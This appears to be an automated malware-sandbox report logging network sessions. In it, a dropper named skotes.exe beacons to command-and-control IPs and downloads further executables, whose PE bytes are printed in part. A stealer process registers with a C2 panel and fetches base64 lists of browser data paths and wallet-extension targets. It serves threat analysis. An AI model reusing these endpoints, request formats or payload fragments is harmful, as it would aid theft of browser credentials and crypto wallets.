00 00 00 00 00 00 90 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 4a 00 00 04 00 00 b2 90 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_gJ@J@T0h 1 H@.rsrc X@.idata 0\@ +@^@avxzjrga@@0<`@vgfnourcJ@.taggant0J"@
Dec 16, 2024 15:02:10.691134930 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:02:10.691148996 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:02:10.691184998 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:02:10.691215038 CET	1236	IN	Data Raw: e6 4b 37 49 56 64 bc 9e b7 32 d2 7e 58 12 ac 85 81 a2 23 81 de cb b8 e9 1a e7 55 19 3e a1 16 e6 ee 7b a5 f6 58 3f be bb 2d eb 15 84 a6 53 d8 ec 54 22 bd 3b c6 6c 16 e0 65 f2 db ba 1c 1a d8 e5 a3 35 27 cb 31 a9 01 ab 70 b8 9e c2 28 40 00 02 18 4f Data Ascii: K7IVd2~X#U>{X?-ST";le5'1p(@O\"VeAt8>g0.ucPpZ%Jdzyl;SNy;=vFfE5`;>dh)B%Wx(ubOtc"(UOIPw
Dec 16, 2024 15:02:10.691229105 CET	1236	IN	Data Raw: ae f1 7b be 6c 01 17 4a de 20 0f 40 74 d9 63 23 11 03 bb de 86 47 fc b0 30 01 5b 82 9a 6f 1c ea e2 dd 7a f7 70 37 62 72 4a 83 db 7e 3d aa be 7c 41 03 dc ab 24 c7 d9 a7 fb f3 9f 63 ff 59 69 bc 1c eb 76 b0 cb 2d a5 60 1d 57 c3 ba 62 3b dc 06 0b 93 Data Ascii: {lJ @tc#G0[ozp7brJ~=\|A$cYiv-`Wb;~;Abj0?Q%0lCcw1#4.$P`")\|6a@8G'AU'YS]#Y'Evd9j@.J/5$lUk3!b1Z<C]Y>&
Dec 16, 2024 15:02:10.691270113 CET	776	IN	Data Raw: ed 81 94 11 d8 9f c6 4a 17 54 20 81 36 eb d4 22 1d e3 53 83 ad c2 0a 20 e6 c8 b3 c8 2d 24 51 23 6b ae 94 fe 0c a0 42 d5 b3 d4 1f 04 60 67 f5 d3 28 98 de 10 9d 52 46 ea d4 2c 4a d9 d2 c3 7c 51 f5 83 3a eb 6c 63 0a 83 3a 51 51 f9 35 c0 8f 43 32 36 Data Ascii: JT 6"S -$Q#kB`g(RF,J\|Q:lc:QQ5C26k!3532y=X#p$@Ww95P<Y6rmTy`${=0$;b5!){a'!fcV{ot+I84e!{R
Dec 16, 2024 15:02:10.691282988 CET	1236	IN	Data Raw: b0 49 18 e0 e0 f3 6d 80 3e 66 b5 02 bc 0a 89 d2 0d 63 d0 ce 22 94 c9 88 4a 33 74 6c 86 9f e2 ec 0d 20 ef 97 09 43 fc 8c fe 17 bc 59 ac a0 3a ea 3e 01 be fd cb 47 f0 41 f2 77 dc 1e 78 67 23 c1 a5 37 47 a6 a7 f1 96 d7 df f3 a2 a4 5c e1 04 b9 cc 2d Data Ascii: Im>fc"J3tl CY:>GAwxg#7G\-'{Z9O?]@)dQ);P!}:];"-IjCSol$J#"BsBy?lOkow7p5IOeK~W~=xFg
Dec 16, 2024 15:02:10.691294909 CET	1236	IN	Data Raw: 2e 05 f0 71 96 04 1f d2 3b b4 83 06 2b 56 19 ff 6c 1a d1 61 df 73 42 b2 fa 61 15 fb 27 b0 d4 8b c4 30 9b 44 eb c0 1b 21 da 89 85 fa f2 12 48 d1 18 0d 04 1a 14 12 dc 69 45 03 65 5b 65 30 1d 84 29 6d 9f f4 e5 0c 43 46 67 3f a2 e0 a1 da 54 1c 15 ae Data Ascii: .q;+VlasBa'0D!HiEe[e0)mCFg?To+&}O4F~Sn#{_1r= pli~P(~hbs%,Gr/}\YcYaqYd_'0KWl\tm1z?Aq
Dec 16, 2024 15:02:10.691344023 CET	1236	IN	Data Raw: 52 ea 1d da aa df 19 fd 52 39 53 92 d7 b3 41 f1 f0 32 4f f2 6c 32 bc fe 87 0e 16 b2 42 e4 5b a6 50 a9 8c fd 25 c8 27 f8 3c a5 43 27 2b 6d 0f 11 11 15 c9 1a 89 0a fb 81 3d a3 91 8a 68 da 92 79 28 ac ab fe 5a c9 0b 7a 71 a7 60 59 29 1e ce ee 94 e3 Data Ascii: RR9SA2Ol2B[P%'<C'+m=hy(Zzq`Y)9AQ%a0="4S/"%eLjkS]+QP_uC/u,Amq?{UPf]S$Ty:A+Zk$.h8cv"9p.<}'+E5
Dec 16, 2024 15:02:10.811113119 CET	1236	IN	Data Raw: 98 66 1e fe b1 6f 4d ff 3e e2 94 41 ff 6b 52 79 8a 66 d3 6a 6b 79 53 0d f0 20 dd ad 67 25 c3 49 ee 97 55 9c 45 f2 d1 ba 6b e1 22 24 3d e1 7b 06 ee 04 19 e7 36 df 61 bd 24 1d bc d8 ef ad 50 7d aa a6 ae d1 3c 28 08 31 ed 07 fe 87 f4 69 81 21 68 ee Data Ascii: foM>AkRyfjkyS g%IUEk"$={6a$P}<(1i!h3Y`VXej2C I:Vx&5(#H6)iK%O~l' 1(DIsbk\iX"\|e yfWx\|=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49890	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:02:16.577197075 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 31 32 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016127001&unit=246122658369
Dec 16, 2024 15:02:17.991563082 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:02:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49892	185.215.113.16	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:02:18.115426064 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 16, 2024 15:02:19.446544886 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:02:18 GMT Content-Type: application/octet-stream Content-Length: 1796608 Last-Modified: Mon, 16 Dec 2024 13:43:52 GMT Connection: keep-alive ETag: "67602e98-1b6a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 20 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 69 00 00 04 00 00 12 3a 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg* i@Pi:@M$a$$ $h@.rsrc$x@.idata $z@ *$\|@szaazyea@O~@jswuitsriD@.taggant0 i"H@
Dec 16, 2024 15:02:19.446607113 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:02:19.446619034 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:02:19.446728945 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:02:19.446741104 CET	1236	IN	Data Raw: 58 52 42 e7 99 0a 5d 84 5a 17 9e fb 67 cf 00 a5 15 eb c4 9a 99 c7 0b 6b 41 cf 3c ca 35 4b 35 96 29 89 2d 7d 19 81 25 a5 74 25 18 29 7b b1 03 77 91 af 15 7b 8d 3f 05 b7 65 cf f8 53 00 e0 ec 43 56 d3 e0 52 4e 4d 35 7b 58 f7 08 d3 3d ef c4 7b 1b b0 Data Ascii: XRB]ZgkA<5K5)-}%t%){w{?eSCVRNM5{X={q(SLKhj\EL\|)`Y)5]im.cN%(7@;"J\'P_*Y8Fa.ur@`v2&}]bzuk1]'w#RU!A
Dec 16, 2024 15:02:19.446753979 CET	1236	IN	Data Raw: 2b a7 03 3f 37 bf 39 84 56 d0 47 d8 c1 04 9a ec 8a e7 80 34 28 af d0 6b e0 ae e0 0e 27 df 73 4c cd 29 c6 39 1e 2e a4 ab 7c 22 dd fc f1 26 c5 a6 44 62 c6 15 ff 06 60 ab 20 6a cb 64 88 d1 12 ee dd 18 02 1b 9e 3e c6 c9 85 40 03 f6 65 2f c5 e7 a6 ce Data Ascii: +?79VG4(k'sL)9.\|"&Db` jd>@e/sc:0iQaea4"kL'^Ru.l+`x?.L6jMbhdN{eQQT -6?i*ofBOj<eT<kVCy!7@
Dec 16, 2024 15:02:19.446767092 CET	1236	IN	Data Raw: 57 1a 2d e7 2b 47 de 12 9e d9 ca 73 26 e8 7d 65 2b 6b ce fa 56 38 b5 80 67 09 75 74 d9 cf e0 02 6e a9 da 08 df 17 8d 79 f1 4b df 7a a1 0c 89 bc 23 b5 4b 7c 1d e7 50 97 86 db 6f 80 f7 8b d5 82 5f ef d2 76 d1 38 e5 ff 2b 91 15 9b 2b d7 0c e7 41 50 Data Ascii: W-+Gs&}e+kV8gutnyKz#K\|Po_v8++AP]2,?A8.E+[PlW]+s\//\| Z6tSL2j9K6za#Q\|%7Gpa=+WKw_NUy%oGwp5#85$+tUT
Dec 16, 2024 15:02:19.446923971 CET	1236	IN	Data Raw: 1d 02 d3 9f b7 f3 a4 ef 9e 6e c5 7e b8 4e a9 ad 65 dd cc c6 9d 58 08 68 1e 37 c5 78 95 0c 1d 6b 83 42 5e ea 25 d8 fc 7b b9 4b ff 76 3e 29 2e 77 cd dd dd 2e 1e df 47 f3 61 5b 26 8b f5 dd fe 5e 27 77 4a 8c 4b 22 c5 7a 42 64 e5 c4 65 1b 2e 83 b9 09 Data Ascii: n~NeXh7xkB^%{Kv>).w.Ga[&^'wJK"zBde.+AU]+rVvGjG.8E7thZg^yvAzx`U]yG@%&~IQx6Df5S,9lWrQ9)uP^(B'KKD
Dec 16, 2024 15:02:19.446935892 CET	1236	IN	Data Raw: f9 d0 7d f1 27 1c ce 76 59 75 c1 78 25 03 01 0f 9e 0f fc ac ec cf e4 9e a9 fb d2 83 b9 dc e5 e9 9f 07 d3 72 65 4b 95 f0 5d da 05 68 89 27 da 78 b6 cf d8 ec 9f c4 c7 e9 de 4c 2c d3 1f e0 34 be b5 e0 01 47 28 64 3d e8 2b 4f 05 92 a1 5b 8b 79 9d 57 Data Ascii: }'vYux%reK]h'xL,4G(d=+O[yW7K?egWi:hRK=6FT:=/&g.8AY\|Q=q0WH0Kve6+@GNRQsu.ZhANG2PglExu,
Dec 16, 2024 15:02:19.446948051 CET	1236	IN	Data Raw: 8a dd cc e6 99 c3 48 a8 1b c9 63 e1 3d 5b d6 a4 b1 d8 38 ed 27 b4 be 94 23 6b 41 79 c5 e9 b4 e5 44 9e be fb e1 83 fe 73 75 54 c1 e8 4c dc d2 4a d7 c8 ee a2 e9 4b e9 3e 38 1b 42 a5 c0 e9 d2 46 27 b3 c5 4a b7 09 52 6b 28 57 68 e3 2b cf 09 eb 39 54 Data Ascii: Hc=[8'#kAyDsuTLJK>8BF'JRk(Wh+9TF)CV\uQL#;K7k+K0g+5pEy=#ygzP%{j.4wAiN+i8-,UWzcK>ymkKvD mA8D2P=Ym`J
Dec 16, 2024 15:02:19.566508055 CET	1236	IN	Data Raw: 36 d1 22 3a 04 20 d8 ba 31 99 4b b6 5f 1f 45 b0 66 7b 09 81 41 1d 94 51 a0 f5 db 26 ab fd de b6 22 e6 d0 b8 a2 b5 de 71 5a 3d ee a0 03 9d 0c 51 27 b8 dd 2c 6e e5 20 33 66 5d de 86 2a 4c d9 ea 51 ab 71 b5 a3 08 85 1f 1e 6e 92 a7 c9 f1 20 fb 09 d0 Data Ascii: 6": 1K_Ef{AQ&"qZ=Q',n 3f]LQqn Lk^>.RS#!`ZSskyJ+QEl%2q]%FAf/s< k:cwvTJnFv{ JjuF}bl7,M%J@9H~6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49911	185.215.113.206	80	5672	C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:02:24.459100008 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 16, 2024 15:02:25.767770052 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:02:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 16, 2024 15:02:25.771213055 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGHCBGCBFHIIDHIJKFB Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 43 45 45 44 33 45 42 34 36 43 38 34 36 35 38 35 34 32 32 34 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 2d 2d 0d 0a Data Ascii: ------ECGHCBGCBFHIIDHIJKFBContent-Disposition: form-data; name="hwid"6CEED3EB46C8465854224------ECGHCBGCBFHIIDHIJKFBContent-Disposition: form-data; name="build"stok------ECGHCBGCBFHIIDHIJKFB--
Dec 16, 2024 15:02:26.222309113 CET	407	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:02:25 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 6d 59 7a 59 57 56 69 4d 47 51 78 4e 47 51 7a 4d 7a 56 6a 5a 57 52 6a 4f 47 5a 6a 4d 32 4a 6b 5a 44 5a 6d 4e 7a 6c 6b 4e 32 59 35 5a 54 45 35 4e 6a 64 6c 4d 6d 51 79 4d 6d 51 7a 5a 47 4d 77 5a 44 49 31 4e 6a 55 34 4e 7a 5a 69 4e 54 55 78 4d 6d 4e 6d 4d 57 46 6d 5a 6a 63 7a 4e 47 55 77 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MmYzYWViMGQxNGQzMzVjZWRjOGZjM2JkZDZmNzlkN2Y5ZTE5NjdlMmQyMmQzZGMwZDI1NjU4NzZiNTUxMmNmMWFmZjczNGUwfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Dec 16, 2024 15:02:26.223501921 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDGIIJJECFIDHJJKKFC Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 61 65 62 30 64 31 34 64 33 33 35 63 65 64 63 38 66 63 33 62 64 64 36 66 37 39 64 37 66 39 65 31 39 36 37 65 32 64 32 32 64 33 64 63 30 64 32 35 36 35 38 37 36 62 35 35 31 32 63 66 31 61 66 66 37 33 34 65 30 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 43 2d 2d 0d 0a Data Ascii: ------EGDGIIJJECFIDHJJKKFCContent-Disposition: form-data; name="token"2f3aeb0d14d335cedc8fc3bdd6f79d7f9e1967e2d22d3dc0d2565876b5512cf1aff734e0------EGDGIIJJECFIDHJJKKFCContent-Disposition: form-data; name="message"browsers------EGDGIIJJECFIDHJJKKFC--
Dec 16, 2024 15:02:26.666171074 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:02:26 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Dec 16, 2024 15:02:26.666309118 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Dec 16, 2024 15:02:26.667748928 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIJEGIIJDGHDGCBGHCAA Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 49 49 4a 44 47 48 44 47 43 42 47 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 61 65 62 30 64 31 34 64 33 33 35 63 65 64 63 38 66 63 33 62 64 64 36 66 37 39 64 37 66 39 65 31 39 36 37 65 32 64 32 32 64 33 64 63 30 64 32 35 36 35 38 37 36 62 35 35 31 32 63 66 31 61 66 66 37 33 34 65 30 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 49 49 4a 44 47 48 44 47 43 42 47 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 49 49 4a 44 47 48 44 47 43 42 47 48 43 41 41 2d 2d 0d 0a Data Ascii: ------HIJEGIIJDGHDGCBGHCAAContent-Disposition: form-data; name="token"2f3aeb0d14d335cedc8fc3bdd6f79d7f9e1967e2d22d3dc0d2565876b5512cf1aff734e0------HIJEGIIJDGHDGCBGHCAAContent-Disposition: form-data; name="message"plugins------HIJEGIIJDGHDGCBGHCAA--
Dec 16, 2024 15:02:27.107352972 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:02:26 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 